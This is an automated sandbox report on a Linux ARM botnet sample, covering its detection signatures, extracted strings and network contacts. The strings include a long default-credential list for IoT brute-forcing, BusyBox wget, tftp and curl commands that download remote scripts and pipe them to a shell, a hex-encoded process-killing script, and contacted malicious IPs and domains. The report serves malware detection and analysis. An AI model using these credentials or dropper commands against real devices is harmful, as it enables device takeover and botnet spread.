Linux Analysis Report
la.bot.arm7.elf

Overview

General Information

Sample name: la.bot.arm7.elf
Analysis ID: 1544353
MD5: d1a39b56800affb04cdaf998cbd90a1d
SHA1: 8ae993066bcb73cc054318e9dc74f264fe5e4757
SHA256: de15f9cd135ffedd0091dcd3afd372af85537bd518e31d20e2054e98ced6bfa6
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.arm7.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm7.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm7.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient/dev/watchdog/dev/misc/watchdogM
Source: la.bot.arm7.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 3,4,6,7,9,49376
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:32828 -> 103.253.147.242:49376
Sample listens on a socket
Source: /tmp/la.bot.arm7.elf (PID: 5426) Socket: 127.0.0.1:1234 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 162.243.19.47
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: la.bot.arm7.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm7.elf String found in binary or memory: http:///wget.sh
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal52.troj.linELF@0/0@3/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/11/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/22/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/55/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/66/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/88/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/99/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/111/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/222/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/333/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/777/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/888/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/11111/maps Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5426) File opened: /proc/999/maps Jump to behavior
Source: submitted sample Stderr: qemu: uncaught target signal 11 (Segmentation fault) - core dumpedqemu: uncaught target signal 11 (Segmentation fault) - core dumped: exit code = 0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm7.elf (PID: 5426) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm7.elf, 5426.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp, la.bot.arm7.elf, 5428.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp, la.bot.arm7.elf, 5429.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp, la.bot.arm7.elf, 5461.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp Binary or memory string: Xx86_64/usr/bin/qemu-arm/tmp/la.bot.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm7.elf
Source: la.bot.arm7.elf, 5426.1.0000559eb367d000.0000559eb37cc000.rw-.sdmp, la.bot.arm7.elf, 5428.1.0000559eb367d000.0000559eb37cc000.rw-.sdmp, la.bot.arm7.elf, 5429.1.0000559eb367d000.0000559eb37cc000.rw-.sdmp, la.bot.arm7.elf, 5461.1.0000559eb367d000.0000559eb37cc000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5426.1.0000559eb367d000.0000559eb37cc000.rw-.sdmp, la.bot.arm7.elf, 5428.1.0000559eb367d000.0000559eb37cc000.rw-.sdmp, la.bot.arm7.elf, 5429.1.0000559eb367d000.0000559eb37cc000.rw-.sdmp, la.bot.arm7.elf, 5461.1.0000559eb367d000.0000559eb37cc000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5426.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp, la.bot.arm7.elf, 5428.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp, la.bot.arm7.elf, 5429.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp, la.bot.arm7.elf, 5461.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm7.elf, 5428.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp, la.bot.arm7.elf, 5429.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp, la.bot.arm7.elf, 5461.1.00007ffd4e182000.00007ffd4e1a3000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
103.253.147.242
 unknown Singapore
14061 DIGITALOCEAN-ASNUS true

Contacted Domains

Name IP Active
nineteen.libre 38.54.122.172 true
daisy.ubuntu.com 162.213.35.25 true